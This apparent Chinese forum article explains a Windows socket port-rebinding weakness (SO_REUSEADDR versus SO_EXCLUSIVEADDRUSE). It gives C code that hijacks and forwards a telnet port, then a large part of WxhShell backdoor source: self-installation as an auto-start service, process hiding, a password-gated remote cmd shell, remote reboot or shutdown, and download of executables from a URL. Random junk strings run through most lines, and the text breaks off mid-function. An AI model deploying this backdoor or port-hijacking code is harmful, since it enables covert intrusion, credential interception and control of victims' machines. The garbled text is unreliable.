在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
']N\y6=fn9 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
SgkW-# 3gYtu-1 saddr.sin_family = AF_INET;
MAQ-'s@ 'p)DJUwt saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Z/q'^PB
p n[\L6} bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
nfh<3v|kvR &%tW 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
/#j)GlNp: 4#W*f3d[@: 这意味着什么?意味着可以进行如下的攻击:
!Ej?9LHo 1Se2@WR' 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
jQ8
T u Yc}eMb 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
GK1P7Qy?V 7Kpv fyL{ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
_Td#C1g3 nI] zRduC 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
>8&fFq ?v`24p3PC 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
/#SH`ZK &UO/p/a 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
{REGoe=W% VxE;tJ>1 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
\+&)9 !K *?A!`JpJn #include
(B%[NC6 #include
qpzyl~g:C #include
]YOWCFAQot #include
3J8M0W DWORD WINAPI ClientThread(LPVOID lpParam);
+G+1B6S int main()
i~)EUF {
,W;|K 5 WORD wVersionRequested;
rC_saHo>#R DWORD ret;
d.
ZfK WSADATA wsaData;
2B5Ez,'#x BOOL val;
xNa66A-8 SOCKADDR_IN saddr;
9W-1P}e, SOCKADDR_IN scaddr;
/%)(Uz int err;
e
[6F }."c SOCKET s;
Sggl*V/q SOCKET sc;
;|W:,a{kS int caddsize;
_xBhMu2f HANDLE mt;
/82E[P"}6R DWORD tid;
:Ys
;)W+R wVersionRequested = MAKEWORD( 2, 2 );
TI\EkKu" err = WSAStartup( wVersionRequested, &wsaData );
h"'}Z^ if ( err != 0 ) {
3{$ >-d printf("error!WSAStartup failed!\n");
K3h"oVn return -1;
D *IeG>% }
U* uMMb}$ saddr.sin_family = AF_INET;
)*Wz5x `$FB[Z} & //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
[k&7h, B?Rkz saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
[;o>q;75Jz saddr.sin_port = htons(23);
R<%{I) if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
P>^$X {
A,(9|#%L printf("error!socket failed!\n");
if3z Fh return -1;
InRcIQT }
"KSdC8MS val = TRUE;
c#>:U,j //SO_REUSEADDR选项就是可以实现端口重绑定的
p["pGsf if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
LabI5+g {
rq\<zx]au printf("error!setsockopt failed!\n");
hS>=pO+y return -1;
E*kZGHA }
F+j"bhe //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
de[NIDA;` //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
s
OLjT34 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
)@!T_# 8dJ+Ei~M if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
`B,R+==G: {
Vup|*d2r0E ret=GetLastError();
$BG]is,&5 printf("error!bind failed!\n");
{xTh!ih2- return -1;
~:|V,1 }
Xg\unUHa listen(s,2);
K@:Ab'(P^| while(1)
+ZFN8 {
P
m&^rC; caddsize = sizeof(scaddr);
t**d{P+ //接受连接请求
Y"nz l]T sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
5KIhk`S if(sc!=INVALID_SOCKET)
dxH . {
sE!g!ht mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
#&?}h)Jr' if(mt==NULL)
jM-5aj[K {
7Jz9%iP printf("Thread Creat Failed!\n");
-.L )\ break;
i9`-a/ }
ULs'oT)K; }
7s;;2<k;_ CloseHandle(mt);
B@ msGb C }
FPPl^ closesocket(s);
Uv~|Xj4. WSACleanup();
bQ&%6'ck return 0;
E]S:F3 }
q]*jTb DWORD WINAPI ClientThread(LPVOID lpParam)
SwaPRAF {
1=`VaS SOCKET ss = (SOCKET)lpParam;
O`aNNy SOCKET sc;
#q-fRZ:P unsigned char buf[4096];
;>F1?5P{ SOCKADDR_IN saddr;
#B#xSmak long num;
hF`<I.z} DWORD val;
:JZV=@<T DWORD ret;
\+0l#t$ //如果是隐藏端口应用的话,可以在此处加一些判断
zJ:%iL@ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
{wDe#c{_ saddr.sin_family = AF_INET;
|ZXz&Xor saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
'$J M2 u saddr.sin_port = htons(23);
sYvlf0 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
mgM"u94-] {
1K R4Wq@ printf("error!socket failed!\n");
h~z}NP return -1;
PSX
o" }
:VLYF$| val = 100;
&] xtx>qg< if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
JZE@W-2 {
wfcR[ ret = GetLastError();
/E i e5p return -1;
BQ70<m2D$ }
3preBs#i if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
!41"`D!1 {
]&`=p{Z ret = GetLastError();
(A=Z,ed return -1;
AN|f:259 }
BNFYUcVP if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
]<c\+9 {
gr{*wYL printf("error!socket connect failed!\n");
W/~q%\M { closesocket(sc);
ya,-Lt closesocket(ss);
In+2~Jw/2! return -1;
J8Vzf$t}; }
{K?e6-N(z while(1)
_{eA8J(A<
{
jpTk@ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
dy'lM ;@- //如果是嗅探内容的话,可以再此处进行内容分析和记录
~ tN/ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
x~{W(;`! num = recv(ss,buf,4096,0);
5@I/+D if(num>0)
oJ/=&c send(sc,buf,num,0);
Fdq5:v?k else if(num==0)
J |UFuD break;
wwJ s_f\ num = recv(sc,buf,4096,0);
U)Tl<l< if(num>0)
{k[dg0UV send(ss,buf,num,0);
uK1VFW else if(num==0)
tYSfeU break;
036QV M$ }
{eQijW2Z3 closesocket(ss);
"QD>:G;u closesocket(sc);
o#BI_#b return 0 ;
^gR~~t;@ }
xh!T,|IR f;Ijl 0d@ pr,1pqiAf ==========================================================
2k&Voa .NxskXq) 下边附上一个代码,,WXhSHELL
r)Ml-r= 4%JJ}{Ff ==========================================================
RUVrX`u*( pqju@FD* #include "stdafx.h"
K*4ib/'E a ,pQ[e$u1 #include <stdio.h>
n1PvZ~^3 #include <string.h>
x {Dw?6TP #include <windows.h>
wL6G&6]</W #include <winsock2.h>
ua_,c\iL #include <winsvc.h>
t3K9 |8< #include <urlmon.h>
];N/KHeZ \(`C*d #pragma comment (lib, "Ws2_32.lib")
I#7H)^us #pragma comment (lib, "urlmon.lib")
3 +`,'Q9 M&H,`gm #define MAX_USER 100 // 最大客户端连接数
}ov>b2H#< #define BUF_SOCK 200 // sock buffer
j8rxhToC #define KEY_BUFF 255 // 输入 buffer
:lmimAMt eW}-UeT #define REBOOT 0 // 重启
:7(d6gEL #define SHUTDOWN 1 // 关机
/ZH* t \ |tTcJ\bG #define DEF_PORT 5000 // 监听端口
TB84} }h8U.k?v #define REG_LEN 16 // 注册表键长度
w]V684[> #define SVC_LEN 80 // NT服务名长度
wjT#D|soI ")nKFs5 // 从dll定义API
;<xPzf typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
7vI
ROK~ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
^v:XON< typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
yC4%z)t&R typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
n0%S: ( !<b+7A // wxhshell配置信息
|It{L0=U struct WSCFG {
:R$v7{1 int ws_port; // 监听端口
`R lWhdE char ws_passstr[REG_LEN]; // 口令
,jD-fL/: int ws_autoins; // 安装标记, 1=yes 0=no
G%h+KTw char ws_regname[REG_LEN]; // 注册表键名
st#^pWL char ws_svcname[REG_LEN]; // 服务名
L},o;p: char ws_svcdisp[SVC_LEN]; // 服务显示名
vy>(?[ char ws_svcdesc[SVC_LEN]; // 服务描述信息
Gvr>n@n char ws_passmsg[SVC_LEN]; // 密码输入提示信息
V|{~9^ int ws_downexe; // 下载执行标记, 1=yes 0=no
:X7O4?ww char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
DQ0 UY char ws_filenam[SVC_LEN]; // 下载后保存的文件名
pK/RkA1 '[HU!8F };
$:onKxVM N~S#(.}[ // default Wxhshell configuration
x_/H struct WSCFG wscfg={DEF_PORT,
dKw[#(m5v "xuhuanlingzhe",
l
SuNZYaO 1,
k9VWyq__ "Wxhshell",
c]ga)A( "Wxhshell",
CL t(_!q "WxhShell Service",
blaXAqe "Wrsky Windows CmdShell Service",
#ZHKq7 "Please Input Your Password: ",
sp0_f;bC 1,
`;m0GU68 "
http://www.wrsky.com/wxhshell.exe",
Kf$6D 79# "Wxhshell.exe"
(@O,U };
N;=J)b|9 gs~u8"B // 消息定义模块
=2}bQW char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
?b(DDQMf char *msg_ws_prompt="\n\r? for help\n\r#>";
a<((\c_8G char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
V{}TG] char *msg_ws_ext="\n\rExit.";
v)*eLX$ char *msg_ws_end="\n\rQuit.";
7CX5pRNL char *msg_ws_boot="\n\rReboot...";
!Uhc jfq`e char *msg_ws_poff="\n\rShutdown...";
x"Ij+~i{l char *msg_ws_down="\n\rSave to ";
s(MdjWw ~BBh 4t& char *msg_ws_err="\n\rErr!";
:`4LV char *msg_ws_ok="\n\rOK!";
$u)#-X;x .ffr2\'* char ExeFile[MAX_PATH];
s>TC~d82 int nUser = 0;
*r6v9 HANDLE handles[MAX_USER];
/[q_f int OsIsNt;
}MM:q R A=*6|1w; SERVICE_STATUS serviceStatus;
= mhg@N4 SERVICE_STATUS_HANDLE hServiceStatusHandle;
t*c_70|@k |Y( // 函数声明
%XXjQ5p int Install(void);
BbzIQg: int Uninstall(void);
P>|sCF int DownloadFile(char *sURL, SOCKET wsh);
7~H$p X int Boot(int flag);
gLbTZM4i void HideProc(void);
F@ZB6~T~. int GetOsVer(void);
@\=4 Rin/q int Wxhshell(SOCKET wsl);
fs#9*<]m void TalkWithClient(void *cs);
:QMpp}G int CmdShell(SOCKET sock);
m`@~ZIa?>B int StartFromService(void);
#Jfmt~ks' int StartWxhshell(LPSTR lpCmdLine);
+#@2, Ek '%%% VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
n." XiXsN VOID WINAPI NTServiceHandler( DWORD fdwControl );
ZP.~Y;Ch;- U
a1Z,~ * // 数据结构和表定义
.B6mvb\ SERVICE_TABLE_ENTRY DispatchTable[] =
*
a VT {
!@
)JqF. {wscfg.ws_svcname, NTServiceMain},
qqu]r {NULL, NULL}
Q1DiEg };
d ?,wEfwp Ja%isIdh // 自我安装
`>k7^!Ds int Install(void)
;]%Syrzp {
byIP]7Ld char svExeFile[MAX_PATH];
;O({|mpS\ HKEY key;
,Aq |IH3j strcpy(svExeFile,ExeFile);
LlbE]_Z!U% e~$aJO@B.R // 如果是win9x系统,修改注册表设为自启动
kg$w<C@#" if(!OsIsNt) {
j<A; i if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
U+@rLQ.- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
8oP"?ew# RegCloseKey(key);
~fz9PoC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
U{3Pk0rZ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
<!~NG3KW[> RegCloseKey(key);
t\-;n:p- return 0;
ZV~9{E8 }
x<) T,c5Y }
],f%:
?%50 }
C)ebZ3 else {
51!#m| D (">bR)1 // 如果是NT以上系统,安装为系统服务
)`<7qT_BM SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
= /=?l if (schSCManager!=0)
K1-y[pS]E {
h
x
hl SC_HANDLE schService = CreateService
lJU]sZ9~b (
qD5)AdCGO schSCManager,
VOrBNu wscfg.ws_svcname,
+J:wAmY4 wscfg.ws_svcdisp,
3x
E^EXV SERVICE_ALL_ACCESS,
]"U/3dL5 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
@}A3ie'w SERVICE_AUTO_START,
?4lEHef SERVICE_ERROR_NORMAL,
m%i!;K"{s svExeFile,
gnZc`)z NULL,
!]!J"!xg* NULL,
lBOxB/` NULL,
lC=T{rR NULL,
42,K8 NULL
5m
rkw );
\Oa11c`6 if (schService!=0)
qUG)+~g` {
5`1p
? CloseServiceHandle(schService);
wWB^m@:4 CloseServiceHandle(schSCManager);
S(hT3MAW strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
cK1RmL"3 strcat(svExeFile,wscfg.ws_svcname);
)F%zT[Auph if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
4Pr@<S"U RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
ZNY),3? RegCloseKey(key);
Yj>ezFo return 0;
wy#5p]!u }
Y
j*Y*LB~ }
"$N 4S9U CloseServiceHandle(schSCManager);
>twog}% }
?bl9e&/! }
p!2t/XIM d8/KTl return 1;
`Bv, :i }
Oftjm
X_ ^uWj# // 自我卸载
{#}?-X int Uninstall(void)
+We=- e7 {
r*W&SU9Z HKEY key;
u#v];6N ;F\sMf{ if(!OsIsNt) {
H4g1@[{|0O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
(/3E,6gMk^ RegDeleteValue(key,wscfg.ws_regname);
0*8uo
Wt& RegCloseKey(key);
>Mk#19j[/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
ny[\yj4F RegDeleteValue(key,wscfg.ws_regname);
{DbWk>[DkG RegCloseKey(key);
lhduK4u return 0;
.0#{?R, }
k= oCpXq^ }
R'p-
4 }
!yf7y/qY else {
I8{ohFFo a3[lZPQe SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
]`_eaW?Ua if (schSCManager!=0)
o9AwW {
gatxvR7H SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
$5Tjo
T if (schService!=0)
HWi: CDgm {
1agI/R if(DeleteService(schService)!=0) {
(pkq{: Fs CloseServiceHandle(schService);
&Vmx<w CloseServiceHandle(schSCManager);
}R2afTn[; return 0;
Ebytvs,w }
^F`\B'8MF CloseServiceHandle(schService);
'=]|" }
glgXSOj CloseServiceHandle(schSCManager);
9:]|TIPi }
spv'r!*\ed }
H4JwgQ 7DCu#Y[ return 1;
]{PJ }
hR%2[lBn!] #i}:CI>2 // 从指定url下载文件
Q804_F
F# int DownloadFile(char *sURL, SOCKET wsh)
Xrd-/('2 {
y`p(}X`> HRESULT hr;
f
l*O)r char seps[]= "/";
ps@{1Rn1 char *token;
RL~]mI!U char *file;
ck K9@RQ char myURL[MAX_PATH];
&xMQ char myFILE[MAX_PATH];
]8ob`F`m, +IPMI#n strcpy(myURL,sURL);
eCXw8 token=strtok(myURL,seps);
wQw
y+S while(token!=NULL)
j`ybz G^ {
rz]M}!>k file=token;
HC/?o0 token=strtok(NULL,seps);
#JW~ &; }
2&d|L|-> L(w?.)E GetCurrentDirectory(MAX_PATH,myFILE);
cy!;;bB strcat(myFILE, "\\");
V[baGNe strcat(myFILE, file);
ZRLS3*` send(wsh,myFILE,strlen(myFILE),0);
!=rJ~s
F/{ send(wsh,"...",3,0);
h^=9R6im hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
8u4Fag Q, if(hr==S_OK)
b 3i34, return 0;
Q9NKQuSu else
nZ8f}R!f: return 1;
{ K* ;;lOu~-*$p }
W+ D{4: .YxcXe3# // 系统电源模块
%r >Y)@$Vt int Boot(int flag)
w^wh|'u^_@ {
LGPPyKNx HANDLE hToken;
kli)6R< TOKEN_PRIVILEGES tkp;
r>3y87 bbxo!K
m" if(OsIsNt) {
,ou&WI yC OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
.rs\%M|X LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
SQJ
}$#= tkp.PrivilegeCount = 1;
J1gLT $ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
$61j_;WF` AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
pA?2UZ if(flag==REBOOT) {
2}jC%jR2 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
1_0\_| return 0;
MZK%IC> }
@w{"6xc%a else {
rw]7Lr_> if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
{&d )O return 0;
(4oO8aBB }
Bl!R
bh\ }
4NxI:d$&* else {
kcyT#'=j if(flag==REBOOT) {
qF57T>v| if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
AxZaV;%* return 0;
0$\
j }
j#[%-nOT else {
x3]y*6 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
85 <%L:EC return 0;
0o&B 7N }
)W.Y{\D0 }
:elTqw>pn H!vX# return 1;
]#t5e>o| }
$mLiEsJ cNvh2JI // win9x进程隐藏模块
c?XqSK`',Z void HideProc(void)
jO6yZt {
?Y|*EH f$p7L.d< HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
m0_B[dw if ( hKernel != NULL )
!:|[?M.` {
~zD*=h2C pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
w;(B4^? ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
5KvqZ1L FreeLibrary(hKernel);
aT`. e }
W9%B9~\G;+ \(a!U,]LM return;
CY
i{WV(: }
EaXDY< @!:_r5R~N // 获取操作系统版本
\jGvom. int GetOsVer(void)
:dkBr@u96O {
Y%A
KN OSVERSIONINFO winfo;
vhj^R5= winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
IQA<xqX GetVersionEx(&winfo);
.,7ZDO9{ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
?7CHHk return 1;
sksop4gu5 else
2=p"%YSn return 0;
>HlQ+bl$xw }
`p{,C`g,R <=7N2t)s4 // 客户端句柄模块
lM'yj}:~ int Wxhshell(SOCKET wsl)
%zA$+eT {
&6}] v: SOCKET wsh;
WA&&*ae5` struct sockaddr_in client;
D"RxI)"HP DWORD myID;
J~URv)g Vj{}cL"MR while(nUser<MAX_USER)
?B`Yq\L) {
XOi[[G} int nSize=sizeof(client);
{po f=G wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
zA?]AL(+YW if(wsh==INVALID_SOCKET) return 1;
BL Q&VI4 SuU %x2 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
maopr$r if(handles[nUser]==0)
)TFBb\f>v closesocket(wsh);
,)JSXo else
A}cGag+sp nUser++;
fW'U7&O }
Jxy94y* WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
G B&+EZ 61^5QHur return 0;
(xhwl=MX) }
2AZ)|dM'` SWGD(]}uz // 关闭 socket
=P.m5e< void CloseIt(SOCKET wsh)
YN@4.&RP {
o>' 1ct closesocket(wsh);
z
nc' nUser--;
4[]/ ExitThread(0);
5V{zdS= }
@]0;aZ{3 \%! ~pfM I // 客户端请求句柄
HX3R@^vo void TalkWithClient(void *cs)
o?$B<Cb" {
Lz9t9AoB VYZkHjj)2i SOCKET wsh=(SOCKET)cs;
-OS&(7 char pwd[SVC_LEN];
=tv,B3Mo char cmd[KEY_BUFF];
JM@}+pX char chr[1];
F9Ag687w int i,j;
NZyGC
Vh@ ?(^HjRUY while (nUser < MAX_USER) {
t
TAqln| Q/,bEDc& if(wscfg.ws_passstr) {
>7VOytc if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
lo*)%fy //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Z/wKUK; //ZeroMemory(pwd,KEY_BUFF);
a JC, i=0;
hK,e<?N^ while(i<SVC_LEN) {
%\
i 7 (1pxQ%yEA // 设置超时
X&[S.$_U fd_set FdRead;
dT%$"sj5 struct timeval TimeOut;
YFVNkBO% FD_ZERO(&FdRead);
>h0iq FD_SET(wsh,&FdRead);
p. eq
N TimeOut.tv_sec=8;
TRl,L5wd-? TimeOut.tv_usec=0;
/-qSYS( int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
) /kf if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
p`)GO.pz D~~&e<v'1 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
S0\;FmLIc pwd
=chr[0]; 3TRzDE(J
if(chr[0]==0xd || chr[0]==0xa) { iINd*eXb^
pwd=0; ?v-( :OF
break; Zz<k^
} hlpi-oW`
i++; +0016UgS#
} d;3/Vr$t=
IcM99'P(
// 如果是非法用户,关闭 socket I+,~pmn:
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); OS k+l
} lLO|,
.{` :
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "lcNjyU\O
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }Km+5'G'U
e`pYO]Z
while(1) { v=A]#O%
Zl69d4vG
ZeroMemory(cmd,KEY_BUFF); QxRT%;'Zh]
'u6T^Y S
// 自动支持客户端 telnet标准 L*xu<(>K
j=0; -a``
while(j<KEY_BUFF) { /;7\HZ$@/
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9qUc{ydt
cmd[j]=chr[0]; kiLwN
nq
if(chr[0]==0xa || chr[0]==0xd) { 9`P<|(
cmd[j]=0; v71j1Q}6
break; yrp5\k*{y
} F-L!o8o
j++; Arg604V3
} uhi(Gny.
s}8(__|
// 下载文件 B?BB
if(strstr(cmd,"http://")) { 4~mYj@lvd
send(wsh,msg_ws_down,strlen(msg_ws_down),0); C`s
if(DownloadFile(cmd,wsh)) pCXceNFo
send(wsh,msg_ws_err,strlen(msg_ws_err),0); p"A2N+
else :fo.9J
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T5*
t~`bfU
} VRuY8<E
else { \ 5MD1r}
:@BAiKa[wa
switch(cmd[0]) { 97/"5i9
%gK@R3p
// 帮助 (x;Uy
case '?': { _Xs(3V@'}
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cK()_RB#
break; v:2*<;
} IUB#Vdx
// 安装 F8u;C:^d
case 'i': { 'o D31\@I
if(Install()) MIV<"A
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6j*L]Sc
else 5k%GjT
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1~J:hjKQ
break; UH8q:jOi
} OV@MT^
// 卸载 BHmmvbM#Qm
case 'r': { DC9\Sp?
if(Uninstall()) r#8t@W
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +JyD W%a:L
else UweXz.x7
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,iUWLcOM
break; r;>2L'
} f*Z8C9)
// 显示 wxhshell 所在路径 ((& y:{?G
case 'p': { QcW6o,
char svExeFile[MAX_PATH]; \`ya08DP(
strcpy(svExeFile,"\n\r"); Ox | ?
strcat(svExeFile,ExeFile); &c?q#-^)\+
send(wsh,svExeFile,strlen(svExeFile),0); XZh1/b^DMN
break; V-1H(wRu
} fGZZ['E
// 重启 yj:<3_-C*
case 'b': { &ikPa ,A
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o\TXWqt
if(Boot(REBOOT)) sJI"
m'r=Z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `;`fA|F^
else { [9<c;&$LU
closesocket(wsh); 5L?_AUL
ExitThread(0);
=,MX%-2
} tv]^k]n{rf
break; 4!vovt{
} [Sj _=
// 关机 /JqNiqvh
case 'd': { *#n#J[
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z9}WP$W
if(Boot(SHUTDOWN)) U%:K11Kr
send(wsh,msg_ws_err,strlen(msg_ws_err),0); bZ5cKQ\6
else { dmB
_`R
closesocket(wsh); qS9z0HLE
ExitThread(0); Ii.0Bul
} |8{c|Qz
break; d`w3I`P1
} <MQTOz
oj
// 获取shell F.Sc2n@7-
case 's': { Il4R R
CmdShell(wsh); C:9a$
closesocket(wsh); C j4ED
ExitThread(0); t}Q
PPp y
break; }J ^+66{
} ML!>tCT
// 退出 mNQ~9OJ1
case 'x': { 7l+:gD
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Tlar@lC|u
CloseIt(wsh); F97HFt6{
break; XU*4MU^'
} (i.7\$4
// 离开 UhX)?'J
case 'q': { 1sIPhOIys
send(wsh,msg_ws_end,strlen(msg_ws_end),0); -;Ij ,
closesocket(wsh); /)J]m
WSACleanup(); ,]L sX"u
exit(1); KsDovy<
break; C}=9m
A
} 7L4~yazmK
} >(\Z-I&YQ
} \c\z 6;j
@c-| Sl
// 提示信息 DedY(JOvB
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QFg{.F?3q>
} &~&oB;uR
} C@P*:L_
(`js/7[`H[
return; `L
m9!?
} ,Zva^5
vo"?a~kY7
// shell模块句柄 ]j+J^g
int CmdShell(SOCKET sock) IIY3/
{ iOdk)
STARTUPINFO si; DEQ7u`6
ZeroMemory(&si,sizeof(si)); {'UK>S
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l_i&8*=Px
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E#VF7 9L
PROCESS_INFORMATION ProcessInfo; r
E&}B5PN=
char cmdline[]="cmd"; Xk9 8%gv
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); miB+'n"zS
return 0; XR+
} \qkb8H
q+U&lw|"w
// 自身启动模式 V)Ze>Pp
int StartFromService(void) VJSkQ\KD
{ .c]@xoC
typedef struct jL0=a.;
{ 6){nu rDBG
DWORD ExitStatus; 6B!v;93U
DWORD PebBaseAddress; 7_~_$I~g*
DWORD AffinityMask; S#b)RpY
DWORD BasePriority; yqKSaPRA
ULONG UniqueProcessId; giHqc7-PaX
